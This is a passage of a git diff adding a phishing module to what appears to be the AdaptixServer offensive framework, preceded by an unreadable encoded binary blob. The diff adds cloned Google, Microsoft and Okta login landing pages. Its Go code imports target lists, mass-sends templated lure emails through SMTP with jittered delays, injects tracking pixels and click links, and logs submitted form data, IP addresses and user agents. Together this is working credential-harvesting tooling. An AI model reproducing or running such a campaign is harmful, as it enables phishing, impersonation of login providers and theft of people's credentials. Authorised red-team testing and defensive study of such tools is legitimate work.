zWgaVzxD2-qI)AINh-lJ6*aObMKX#n{F1BxCq|$N}_|&;&GR?-zkfB@lkG_8cL=u2cK(rm8H-w)3^khNpXZlF{w03d z1S{rIe-a$Yvrx>mV^Br}M+RkPFefN$f*nHAKQs{D;RxZ2Tt%z@FVDz>gm>K@-nH~z z?3RXUW)NJzm!f>t1rD?ZHmf+;vim}KpMaqWas-Q(gvT}QHUiO?U44Ch(k0L%z@}Wc z0G8ve_8^v{g3ccO=*b;n_A>?Z^$?O1Tw|BB8#b#$2(nBHbO}h`z)(BXiQ+PIQmR|-k z1VFiYD0foe-vl%DQNQ#E^tE0~{0087ffWxlI3g$`gPC^O9YXy>k{?M)&qu;S7O^0+YLJmsURR z${v5&h-g6FnETfzh^#A7)rztG9pJ`}5UZ6il{5eU1mpTLRh)N@aXAb!T?rGauIIbb zO>SD%|&Yat{DPC_wcu-jhN7l{;R^e^lqBnqPdwaqV zISAUy$xe>LrtqU^Z`?{myu=|%CCe)gMy0BSxW}7N{-PCbba&~2(Pk4;!|s8?yPJ=@ zvd3RG#@WWze{I5}SoPOOv8vRgSXJs#tcpB}RnWlpH1EqW$AqX|jHA=W5(JwRS`}j4 z_f_zZU1`bVRK{#&cVr{P(p`L3${n+!6}?o}p(n#CPuRCz!7%Fi@mnyRZ06Hb?gT_u z+-^zbkgrXhA(PoSty~WlL&6P02H!o*VYwQbsy1+V#PVe|e6_ZPokx4>qnF_rM5Z7P ze;%^RY==8y@K|j z{L)`Wi5&Kw@Uf{oJPG?Sv8Zw!@g^`OhH_Kgc?Pz)+YKCZ&$)8WjnmQ0rpY3ooba8s zL(#N63f>N#{N1hK@nlS}%karZSYYsWo{IR6EqRrbSKvShB#5_UM9Ppp%_ofX(7Hz6<)^X(ktHlP6d-oPp2 zb_ezb^4jn-x3*h<8hEbs7lq=e>Ne3*G?;MytQT0nKj%$E!deE%c)1kp!`5u_S6Nq4?g?)u)`HBUJ6TuFpz zJ4~hvx9)}}XCAXbD|ht`GLa@M#kbxi-}g5-fyv%Fz$v>IR`&S)9X)c_d@OZ;M@s$e z2)j$PP`>#{j`uqwm^yi+4(r1m^2%!c_!yPbps9Wec`#~iK!NEr9C5X6YC6u#dI>tu z#3OJ%7fL!EX*+Ta-r0&N$VO}|ZsH`=!Oeq^*s(-YN2uG2oAP9Z=-*lltfz%xJvD2~ z8}GxeV>BTRl6PCdA68g|#0Psy{dAnjpW9J9c?3p&0;6jx*=WK<97&7;5D)Rd*^F3PU-Mv>A2uXcjdR3D@a zX9BN5VPB0ka5Za({8b~IJmj@0#JnEslg++FzlxEl;ob)}8tt3K(X5Y$fdZE8{*aS} zoz|$-9O;@2ZTAW$Ea(I4z#6YgS8$l`gCcH&ii=UjU4p_wjW?ivS{I1#gQ8@3)TAgW zh)RpWragh97*n`yWl;784+W)NREH?ZkN!Pc+QxKZuM?pbQPMRkHA>b-p%y6=^5dXd z&P8x+GRD*KA`5)EJ~`rV8IUo7NdffAhL=XJuJ|RH=6mShp`wL+7Av4#f-{4lgQA8< z$)u=)C{|$>sQe`ISsNavlDo6uDP!(y`-bgesP= zC^tS#A47fX`e2;PM9eWVABx;mPvK3S6;J9P~0^&ZKQwR0@mpyYZ}6cXsQw$^=4cO<~-A2!q#KxS*nXkFd-#MAOC5@Mu;Be!}$;G9p3 zeTs*J0KqzZ*ryoEOm3$&cS2hCbbRllsKif!wK2uOQo8A;V7l*zC`nksl!pA6cvFLVI? zsZu>wiOs&yG|M5-*CP+SOwzm+^1CkdN+JD8`@%+>?Z^z;S(Uri;?2rl!qBgKA18Up z$cwc}YJWyj?_-h_7T@XbVWgUpN=6=ik>s%#8R}FaF&rCIM;cCYn3>?mZ5B||6YGiI zxEF0%c54`n$;05wTe4}eHI1`<%sMd~llB4lou7k~L`USzqJP9_O(g=u;>SEW`HUfG?XG9b9BpBym-bE!yDltAB3pphcCQ$Vb zBe#*f){x{KBUX?q6M?SX&H1(^oZ-8`Dn8T8(l7;%u5jbru)FLun0seK={*A`k%Q(S zJUB2uAcq4-0_F_-7RhTy5RM~V8K*bN6AoOO1mpV5a1G-EtT5x4)ngJCf`biAgUWF> z?WD>rV%kf%3PS@u!#BsL_q3;-@2o$`KuRFPK(7cGAJ}DJS72X2_R$$kxg!B&%u>)T z*w;XJf~orM#!QZpnK3QOkm~@?r^8T#w#ITb8B$XrmjzSdwz1tI*c<_fU6G?v@iCGR zGdxB{#ULMML}7tQ~95omau7>y)D!1ZJF+Yvws@AMn+n)4QMr{qk7lKNMeoY zmQCe6Hvt}fzfm1G6Uzxsl!mS{bbSqy8*0#9^pb0t#b}O4E=s`&3nwIH(!68L8|mqW z(j7r7NXDZQVOMi%`k<9)q=T*gR>4ClgVxHW- z0ksN_y5x^~SKEf|&OGxRnMDn-Y#R&j#A3uuakjvO zaSTh8ZU~ZDAd==A=#yo>{XQx3AMwlY$R)BXxGyN<;azwr`T%Y~k-vDfr0Q!Xi_5ks zCyC`cmy;porkCSc+SxG|;9H|#-}$3=E`9XXKH2EoQGANcdJ5Dg3ZG{ZymseDt6cb} zGZvJUHDx!Im7RY*_aS7A?S=`TEAnnwaxK!+$w1#Sm`oFq0I$d|?Sh?yvM#tKD22gY zK}mxixli;Ucv0?&mX0y0F)|=#Mp>+m))VTnoiW@j8pc2lg^9;k*>pbYL$Kk!IXDURS6{A12w6%%iYzfMpf z_qJZKZfh0Mpy3<9$l*v+DUKk)O$ytI`!J!eHVvWQ;qM-aE+hBdA4VisRw1c!FZEy1 zW##?{!ieOmn@DcDk9slR%_Mg|ZZ*?BCHeekD$8>1=bv+ABohN`lP(LNb)39=Yc;lKUExeAZls(X(Fh56!JgX=bD$%x%Fmh_w`| zR$nbQJxO#~~o0=ab`-o6Ytr%rGdI_!{S$!^wot^V5%<`vlj z*GA;J-RhBl)R4QMBf9c>sZz|8xrC&~-7Mk8R2@4J!OgrzS+GK{hOzr3R2O;f0hg&X zR3cu0AhV4KVv6@kA{60EpdKjn75HVNzYqbEzXy0s9xmCI5C2yVx7TVH$O!ju4su4< zxO$Lexc?0D$?y_~%RmLe^T(VJkcEMzB@XEX)lsGB|$<@W`MLd&2X5bY73khQD=KU5~!^R2W^f< zG;+Qf8uz%|xE5|mTbw>H+l|(ygC3ODsr4?=_0^>MJxoJ#NSEH#<%zmPH$TWaf8Qn` zCIVl(GEcotl0Zel36BKJ$YnaMpY%vMUAvz0$Xh?^8fXy|;@!dv;;~qyWg+f$r*jM% z+Z4QRBYm>K*VZrX{U;IO(mEhnfms30;c_<6Js3Gy^4}kfO1YLI@xsIE^X}~X?~gs) z4qWJ!!zH>+4R9mlzS7_%U5Eh2VQ{#g>i*`+N%)dbn(T~{4ZRS!&FZ1s5STQz#A#aF zX%NF;&NBHduB=VRpkPh$4e-eT-*BId^eynQ{Um~YS_iW15?ZrnxPl>(mRW&$0a+Y4 zYuw_%Rs;Lla@wB285m7lArc}PPI>M0Vwr|c+e>p5t4j4)7$y=?l`PR3Yt&M)L*8gC z&3-D$zbg$IlSiPq%(6618@w!!*b*c4F_j6(p)iUrZ1y0@`!TN!$1-}c=pbVXaqaPU z?H6b&&C!$wX+l~$EJ2(Km)>05*QJ=Jix63G95yyxv#oRYx;kDAf-lcvMA~QALH5EC zk5;%%)&tSz+P>AeqdLV(S8J+ppFH@8JpM-5HRpWGv+~Lt|Pq!!peGxI_jD#D)u+wugsDdY~WT=!ybz z9E+jE;Gm#P3@$*ypp`+{7~Bz*{lU%%p&J#Ftk9H@ED3E2$=1-e5RbGiv@;~_qI5x% zQf5#YHl?FRQ?|bDk`r1Ik|UwmDA^pnH(KIibWxukGYPtZ-7#_`Ca#Q3EVHUC_v(q| zGm>%2N|aI<3b%}~K$8n&MXFy0``ZU(L9iewqe59BnIFA6S~`^JR_6Tvn=vsb;2BOV zvHt`twExXPxc^bv>yyc}Dk}HTlk!w;*%aDpzj6S~U0nj{0qKWYvpa(OgObAVwpaw4 zErs0#D_C3y6LtdSCfvNE_aC{sc?A=w!^5|Y&@V!u1) zNDTW93Qi0XbPlE1Y4%3P#YlWiifx}1GgCneuhe{9nke7aVxyt3)W&Lelf2%9B$h?5 zT6n`TzPiMI-?C^Ce_8@pxr5{;BhS?{@)F7G?~uG<gbvS3~cxwGyV}|aBShqE{>k@d^ ztY(BcY;FAf;vy%rvD$FC>|cJBpvHO`<>f zGnGI7Mdq94BwZmou4CfXHYlE22z6e9YnjalB2a3Ii#$@gF$F%=186*t_sUk<gcqbxV3j<<`fX%=JI;$aLOiXg&Gw&MV-BA3DiXd8S% z_q*`!(e?}(Z(xFNnop+F6}7F7_zcEs8@Uz~GE(N|S0sbW3B~mrkWBJU^%DF6X>=!Z za4N^-xp{CC>@I1-rseo%)-beOIjb|=79~r&+xC&VYL}@@JkZW7*Zs^otzUh^yj{uo zo!N{%(#A($CVBTO`SBM+pOSQC=D>t-8RyA#qfLPMVzq(QaMj-&X-?y_)QPR)2aKav zROxED`5Afby$Jt-E`&Rmp>?v)YX@K%z5^O^X$7r zF%WKmx}YfB^1cTO;8yfwRe+rMKYFbC5i*)~!KWPtqmgTJt>w7U_s4X;T_9Ix!-Bif zdNI@~fdNy>rK=1=&@Tdp(yLR!G3rDV94F}Nl?R@adhbiKl<=oAhjuD$Z8imLL_ zr$o=ylTVuwrSKtiMb@EAFH6XN{Ig^ruSq6TTxi49H<0|?3XTgI$T^Y;1t9bUy}VMP zl2oe9(y|pFAo<7DBv;=;a-EViuf&uix%yg?N1ni)f1?4JPxYbnwjN3@t{@ez;i5~K zC!Y2or$iRCrwi!-tXzW+9mHh7P8qLOAW~D~!WDt`f^>DDdIYq4J;vNrIP=L|?|TuBjMcyZdr||w;eRYdME2O7hb(R-E>4Q&2wcjwanUn+e=cbxuM5N;%FW2Z)Q7!VG%Ha zDZ=_k67BUzjlQ|a;M)^EdPCtMwiuqgXYJ6f&BJ*i6qC#06>(5##+OdM?sieRzO6o1 zoZXCqIfG!uAA?m)F0~oj{&0PHr;XR(%OsYscL3g7R0KrI!@(GW8T4_0;>|#>+<2?J z^EpwCV)WGOB;_l}t#=S1f1tiqQDsTWRxolY3G(SHsq!$%Ef2AdY^@KZF;Y$`yy#Mr zTOK5N@KKV-pJy4_yY7dV%wc$1opm7p4h|O@Ye{RFa^sxIP}a@HFWqfT!5E3DfJ%?2 z7^R{u&(zdex;3V8niF+ee@WhYM;g3Orij%l216KbY5iyG9bolZxkN6z-jH9eF$6Lc z4OWY`xwK(q>oB;{K#EjZ=Aue+(MtYL5< zh2m5jKlzHJsgW$2B=n;VR+Rf6l9w7u6S}WwLPDbEWG{*ccZ7m29RglBakH$1`tm5N zUT22i_wZg!<+$bodoiK-Jm}yGuxl&Zm3!r33DJtqv6;wKUTROqgOuLs_IpSmd2EFy1#2Yc06YPU9E!#>ev6 z`5uR$8of}rug>>j?BRtw_GA{#Y0&n=nPWQZUVia4(Q6G@7n4an`jLG}r`1bB>}a%aNSoNrC1-FO4Z%ojHU`LD)fp*z_Lb0ZDRqK~$M z + + diff --git a/AdaptixServer/extenders/phishing_service/landers/google_login.html b/AdaptixServer/extenders/phishing_service/landers/google_login.html new file mode 100644 index 000000000..b4e911465 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/google_login.html @@ -0,0 +1,73 @@ + + + + + +Sign in - Google Accounts + + + +
      + + +

      Welcome

      +
      + + +
      + +
      + + +
      + + +
      + + + +
      +Create account + +
      +
      + + +
      + + diff --git a/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html new file mode 100644 index 000000000..fa2a0eb87 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html @@ -0,0 +1,77 @@ + + + + + +Sign in to your account + + + +
      + + +
      + + diff --git a/AdaptixServer/extenders/phishing_service/landers/okta_login.html b/AdaptixServer/extenders/phishing_service/landers/okta_login.html new file mode 100644 index 000000000..ef47095cf --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/landers/okta_login.html @@ -0,0 +1,76 @@ + + + + + +Sign In + + + +
      + + + + + + +
      + + diff --git a/AdaptixServer/extenders/phishing_service/pl_campaign.go b/AdaptixServer/extenders/phishing_service/pl_campaign.go new file mode 100644 index 000000000..793147acd --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_campaign.go @@ -0,0 +1,643 @@ +package main + +import ( + "bytes" + "crypto/tls" + "encoding/json" + "fmt" + "math/rand" + "net/smtp" + "os" + "path/filepath" + "strings" + "time" +) + +// ============================================================================ +// Call Handlers +// ============================================================================ + +func (s *PhishingService) HandleCampaignCreate(operator string, args string) { + var c Campaign + if err := json.Unmarshal([]byte(args), &c); err != nil { + s.sendError(operator, "Invalid campaign data: "+err.Error()) + return + } + + c.ID = generateID() + c.Status = "draft" + c.CreatedAt = nowUnix() + c.CreatedBy = operator + + if c.RedirectURL == "" { + c.RedirectURL = "https://login.microsoftonline.com" + } + if c.SendDelay == 0 { + c.SendDelay = 3 + } + + if err := s.SaveCampaign(c); err != nil { + s.sendError(operator, "Failed to save campaign: "+err.Error()) + return + } + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignList(operator string) { + s.sendResponseClient(operator, "campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignDelete(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + s.DeleteCampaign(req.ID) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleCampaignStart(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + s.sendError(operator, "Campaign not found") + return + } + + if campaign.Status == "running" { + s.sendError(operator, "Campaign is already running") + return + } + + targets := s.LoadTargets(campaign.ID) + if len(targets) == 0 { + s.sendError(operator, "No targets for this campaign") + return + } + + campaign.Status = "running" + s.SaveCampaign(campaign) + + stopChan := make(chan struct{}) + s.mu.Lock() + s.stopChans[campaign.ID] = stopChan + s.mu.Unlock() + + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + + go s.SendCampaign(operator, campaign, targets, stopChan) +} + +func (s *PhishingService) HandleCampaignStop(operator string, args string) { + var req struct { + ID string `json:"id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + s.mu.Lock() + if ch, ok := s.stopChans[req.ID]; ok { + close(ch) + delete(s.stopChans, req.ID) + } + s.mu.Unlock() + + campaign, err := s.LoadCampaign(req.ID) + if err != nil { + return + } + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsImport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + CSV string `json:"csv"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + existing := s.LoadTargets(req.CampaignID) + newTargets := parseCSV(req.CSV, req.CampaignID) + + combined := append(existing, newTargets...) + if err := s.SaveTargets(req.CampaignID, combined); err != nil { + s.sendError(operator, "Failed to save targets: "+err.Error()) + return + } + + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": combined, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleTargetsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + s.sendResponseClient(operator, "targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": targets, + }) +} + +func (s *PhishingService) HandleTargetsDelete(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + IDs []string `json:"ids"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + targets := s.LoadTargets(req.CampaignID) + idSet := make(map[string]bool) + for _, id := range req.IDs { + idSet[id] = true + } + + var filtered []Target + for _, t := range targets { + if !idSet[t.ID] { + filtered = append(filtered, t) + } + } + + s.SaveTargets(req.CampaignID, filtered) + s.sendResponseAll("targets", map[string]interface{}{ + "campaign_id": req.CampaignID, + "targets": filtered, + }) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +func (s *PhishingService) HandleResultsList(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + s.sendResponseClient(operator, "results", map[string]interface{}{ + "campaign_id": req.CampaignID, + "results": results, + }) +} + +func (s *PhishingService) HandleResultsExport(operator string, args string) { + var req struct { + CampaignID string `json:"campaign_id"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid request") + return + } + + results := s.LoadResults(req.CampaignID) + csv := resultsToCSV(results) + s.sendResponseClient(operator, "export", map[string]interface{}{ + "campaign_id": req.CampaignID, + "csv": csv, + }) +} + +func (s *PhishingService) HandleTemplatesList(operator string) { + templates := s.listFiles("templates") + s.sendResponseClient(operator, "templates", templates) +} + +func (s *PhishingService) HandleLandersList(operator string) { + landers := s.listFiles("landers") + s.sendResponseClient(operator, "landers", landers) +} + +func (s *PhishingService) HandleTemplatePreview(operator string, args string) { + var req struct { + Type string `json:"type"` // "template" or "lander" + Name string `json:"name"` + } + if err := json.Unmarshal([]byte(args), &req); err != nil { + s.sendError(operator, "Invalid preview request") + return + } + + var html string + if req.Type == "lander" { + html = s.loadLander(req.Name) + } else { + html = s.loadTemplate(req.Name) + } + + if html == "" { + s.sendError(operator, "Template not found: "+req.Name) + return + } + + // Replace template variables with example values + replacer := strings.NewReplacer( + "{{.FirstName}}", "John", + "{{.LastName}}", "Doe", + "{{.Email}}", "john.doe@contoso.com", + "{{.Company}}", "Contoso Ltd", + "{{.Position}}", "IT Manager", + "{{.ClickURL}}", "#", + "{{.TrackingURL}}", "#", + "{{.SubmitURL}}", "#", + "{{.Custom}}", "", + ) + html = replacer.Replace(html) + + resp := map[string]interface{}{ + "preview_type": req.Type, + "name": req.Name, + "html": html, + } + s.sendResponseClient(operator, "preview", resp) +} + +// ============================================================================ +// Campaign Sending +// ============================================================================ + +func (s *PhishingService) SendCampaign(operator string, campaign Campaign, targets []Target, stopChan chan struct{}) { + templateContent := s.loadTemplate(campaign.Template) + if templateContent == "" { + s.sendError(operator, "Failed to load email template: "+campaign.Template) + campaign.Status = "draft" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + } + + results := s.LoadResults(campaign.ID) + sentIDs := make(map[string]bool) + for _, r := range results { + sentIDs[r.TargetID] = true + } + + for _, target := range targets { + select { + case <-stopChan: + campaign.Status = "paused" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) + return + default: + } + + if sentIDs[target.ID] { + continue + } + + trackingID := generateTrackingID() + result := Result{ + ID: trackingID, + CampaignID: campaign.ID, + TargetID: target.ID, + Email: target.Email, + FirstName: target.FirstName, + LastName: target.LastName, + Status: "sending", + } + + body := renderEmailTemplate(templateContent, campaign, target, trackingID) + + err := sendEmail(campaign, target, body) + if err != nil { + result.Status = "error" + result.Error = err.Error() + } else { + result.Status = "sent" + result.SentAt = nowUnix() + } + + results = append(results, result) + s.SaveResults(campaign.ID, results) + + s.sendEvent("email_sent", result) + + delay := campaign.SendDelay + if delay > 0 { + jitter := rand.Intn(delay/2+1) - delay/4 + time.Sleep(time.Duration(delay+jitter) * time.Second) + } + } + + campaign.Status = "completed" + s.SaveCampaign(campaign) + s.sendResponseAll("campaigns", s.ListCampaignsWithStats()) +} + +// ============================================================================ +// SMTP +// ============================================================================ + +func sendEmail(campaign Campaign, target Target, htmlBody string) error { + from := campaign.SenderEmail + to := target.Email + + headers := make(map[string]string) + headers["From"] = fmt.Sprintf("%s <%s>", campaign.SenderName, from) + headers["To"] = to + headers["Subject"] = renderSubject(campaign.Subject, target) + headers["MIME-Version"] = "1.0" + headers["Content-Type"] = "text/html; charset=UTF-8" + + var msg bytes.Buffer + for k, v := range headers { + msg.WriteString(fmt.Sprintf("%s: %s\r\n", k, v)) + } + msg.WriteString("\r\n") + msg.WriteString(htmlBody) + + addr := fmt.Sprintf("%s:%d", campaign.SmtpHost, campaign.SmtpPort) + + if campaign.SmtpTLS { + return sendEmailTLS(addr, campaign.SmtpUser, campaign.SmtpPass, from, to, msg.Bytes()) + } + + var auth smtp.Auth + if campaign.SmtpUser != "" { + auth = smtp.PlainAuth("", campaign.SmtpUser, campaign.SmtpPass, campaign.SmtpHost) + } + + return smtp.SendMail(addr, auth, from, []string{to}, msg.Bytes()) +} + +func sendEmailTLS(addr string, user string, pass string, from string, to string, msg []byte) error { + host := strings.Split(addr, ":")[0] + + tlsConfig := &tls.Config{ + ServerName: host, + } + + conn, err := tls.Dial("tcp", addr, tlsConfig) + if err != nil { + return err + } + + client, err := smtp.NewClient(conn, host) + if err != nil { + return err + } + defer client.Close() + + if user != "" { + auth := smtp.PlainAuth("", user, pass, host) + if err = client.Auth(auth); err != nil { + return err + } + } + + if err = client.Mail(from); err != nil { + return err + } + if err = client.Rcpt(to); err != nil { + return err + } + + w, err := client.Data() + if err != nil { + return err + } + w.Write(msg) + w.Close() + + return client.Quit() +} + +// ============================================================================ +// Template Rendering +// ============================================================================ + +func renderEmailTemplate(template string, campaign Campaign, target Target, trackingID string) string { + baseURL := strings.TrimRight(campaign.BaseURL, "/") + + trackingURL := fmt.Sprintf("%s/px/%s.png", baseURL, trackingID) + clickURL := fmt.Sprintf("%s/cl/%s", baseURL, trackingID) + landerURL := fmt.Sprintf("%s/lp/%s", baseURL, trackingID) + + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + "{{.Custom}}", target.Custom, + "{{.TrackingURL}}", trackingURL, + "{{.ClickURL}}", clickURL, + "{{.LanderURL}}", landerURL, + "{{.Subject}}", campaign.Subject, + "{{.SenderName}}", campaign.SenderName, + "{{.SenderEmail}}", campaign.SenderEmail, + ) + body := r.Replace(template) + + if campaign.TrackOpens && !strings.Contains(body, trackingURL) { + pixel := fmt.Sprintf(``, trackingURL) + if idx := strings.LastIndex(body, ""); idx >= 0 { + body = body[:idx] + pixel + body[idx:] + } else { + body += pixel + } + } + + return body +} + +func renderSubject(subject string, target Target) string { + r := strings.NewReplacer( + "{{.FirstName}}", target.FirstName, + "{{.LastName}}", target.LastName, + "{{.Email}}", target.Email, + "{{.Company}}", target.Company, + "{{.Position}}", target.Position, + ) + return r.Replace(subject) +} + +// ============================================================================ +// CSV Parsing +// ============================================================================ + +func parseCSV(csvData string, campaignID string) []Target { + var targets []Target + lines := strings.Split(strings.TrimSpace(csvData), "\n") + if len(lines) < 2 { + return targets + } + + header := strings.Split(strings.TrimSpace(lines[0]), ",") + colMap := make(map[string]int) + for i, h := range header { + colMap[strings.ToLower(strings.TrimSpace(h))] = i + } + + for _, line := range lines[1:] { + line = strings.TrimSpace(line) + if line == "" { + continue + } + cols := strings.Split(line, ",") + + t := Target{ + ID: generateID(), + CampaignID: campaignID, + } + + if idx, ok := colMap["email"]; ok && idx < len(cols) { + t.Email = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["first_name"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) { + t.FirstName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["last_name"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) { + t.LastName = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["position"]; ok && idx < len(cols) { + t.Position = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["company"]; ok && idx < len(cols) { + t.Company = strings.TrimSpace(cols[idx]) + } + if idx, ok := colMap["custom"]; ok && idx < len(cols) { + t.Custom = strings.TrimSpace(cols[idx]) + } + + if t.Email != "" { + targets = append(targets, t) + } + } + + return targets +} + +func resultsToCSV(results []Result) string { + var buf bytes.Buffer + buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n") + for _, r := range results { + buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n", + r.Email, r.FirstName, r.LastName, r.Status, + r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt, + r.RemoteIP, r.UserAgent, r.SubmitData, + )) + } + return buf.String() +} + +// ============================================================================ +// File Helpers +// ============================================================================ + +func (s *PhishingService) loadTemplate(name string) string { + path := filepath.Join(s.moduleDir, "templates", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) loadLander(name string) string { + path := filepath.Join(s.moduleDir, "landers", name) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + return string(data) +} + +func (s *PhishingService) listFiles(subdir string) []string { + var files []string + dir := filepath.Join(s.moduleDir, subdir) + entries, err := os.ReadDir(dir) + if err != nil { + return files + } + for _, e := range entries { + if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") { + files = append(files, e.Name()) + } + } + return files +} + +// ListCampaignsWithStats returns all campaigns enriched with their stats. +func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} { + campaigns := s.ListCampaigns() + var result []map[string]interface{} + for _, c := range campaigns { + stats := s.GetCampaignStats(c.ID) + entry := map[string]interface{}{ + "id": c.ID, + "name": c.Name, + "status": c.Status, + "smtp_host": c.SmtpHost, + "smtp_port": c.SmtpPort, + "smtp_user": c.SmtpUser, + "smtp_pass": c.SmtpPass, + "smtp_tls": c.SmtpTLS, + "sender_email": c.SenderEmail, + "sender_name": c.SenderName, + "subject": c.Subject, + "template": c.Template, + "lander": c.Lander, + "track_opens": c.TrackOpens, + "track_clicks": c.TrackClicks, + "base_url": c.BaseURL, + "redirect_url": c.RedirectURL, + "send_delay": c.SendDelay, + "created_at": c.CreatedAt, + "created_by": c.CreatedBy, + "total_targets": stats.TotalTargets, + "sent": stats.Sent, + "opened": stats.Opened, + "clicked": stats.Clicked, + "submitted": stats.Submitted, + "errors": stats.Errors, + } + result = append(result, entry) + } + return result +} diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go new file mode 100644 index 000000000..9542b9377 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_data.go @@ -0,0 +1,261 @@ +package main + +import ( + "crypto/rand" + "encoding/hex" + "encoding/json" + "fmt" + "strings" + "time" +) + +// ============================================================================ +// Data Models +// ============================================================================ + +type Campaign struct { + ID string `json:"id"` + Name string `json:"name"` + Status string `json:"status"` // draft, running, paused, completed + SmtpHost string `json:"smtp_host"` + SmtpPort int `json:"smtp_port"` + SmtpUser string `json:"smtp_user"` + SmtpPass string `json:"smtp_pass"` + SmtpTLS bool `json:"smtp_tls"` + SenderEmail string `json:"sender_email"` + SenderName string `json:"sender_name"` + Subject string `json:"subject"` + Template string `json:"template"` + Lander string `json:"lander"` + TrackOpens bool `json:"track_opens"` + TrackClicks bool `json:"track_clicks"` + BaseURL string `json:"base_url"` + RedirectURL string `json:"redirect_url"` + SendDelay int `json:"send_delay"` // seconds between emails + CreatedAt int64 `json:"created_at"` + CreatedBy string `json:"created_by"` +} + +type Target struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Position string `json:"position"` + Company string `json:"company"` + Custom string `json:"custom"` +} + +type Result struct { + ID string `json:"id"` + CampaignID string `json:"campaign_id"` + TargetID string `json:"target_id"` + Email string `json:"email"` + FirstName string `json:"first_name"` + LastName string `json:"last_name"` + Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error + SentAt int64 `json:"sent_at"` + OpenedAt int64 `json:"opened_at"` + ClickedAt int64 `json:"clicked_at"` + SubmitAt int64 `json:"submit_at"` + UserAgent string `json:"user_agent"` + RemoteIP string `json:"remote_ip"` + SubmitData string `json:"submit_data"` + Error string `json:"error"` +} + +// ============================================================================ +// ID Generation +// ============================================================================ + +func generateID() string { + b := make([]byte, 16) + rand.Read(b) + return hex.EncodeToString(b) +} + +func generateTrackingID() string { + b := make([]byte, 12) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ============================================================================ +// Campaign CRUD +// ============================================================================ + +func (s *PhishingService) SaveCampaign(c Campaign) error { + data, err := json.Marshal(c) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data) +} + +func (s *PhishingService) LoadCampaign(id string) (Campaign, error) { + var c Campaign + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id) + if err != nil { + return c, err + } + err = json.Unmarshal(data, &c) + return c, err +} + +func (s *PhishingService) DeleteCampaign(id string) error { + _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id) + _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id) + return nil +} + +func (s *PhishingService) 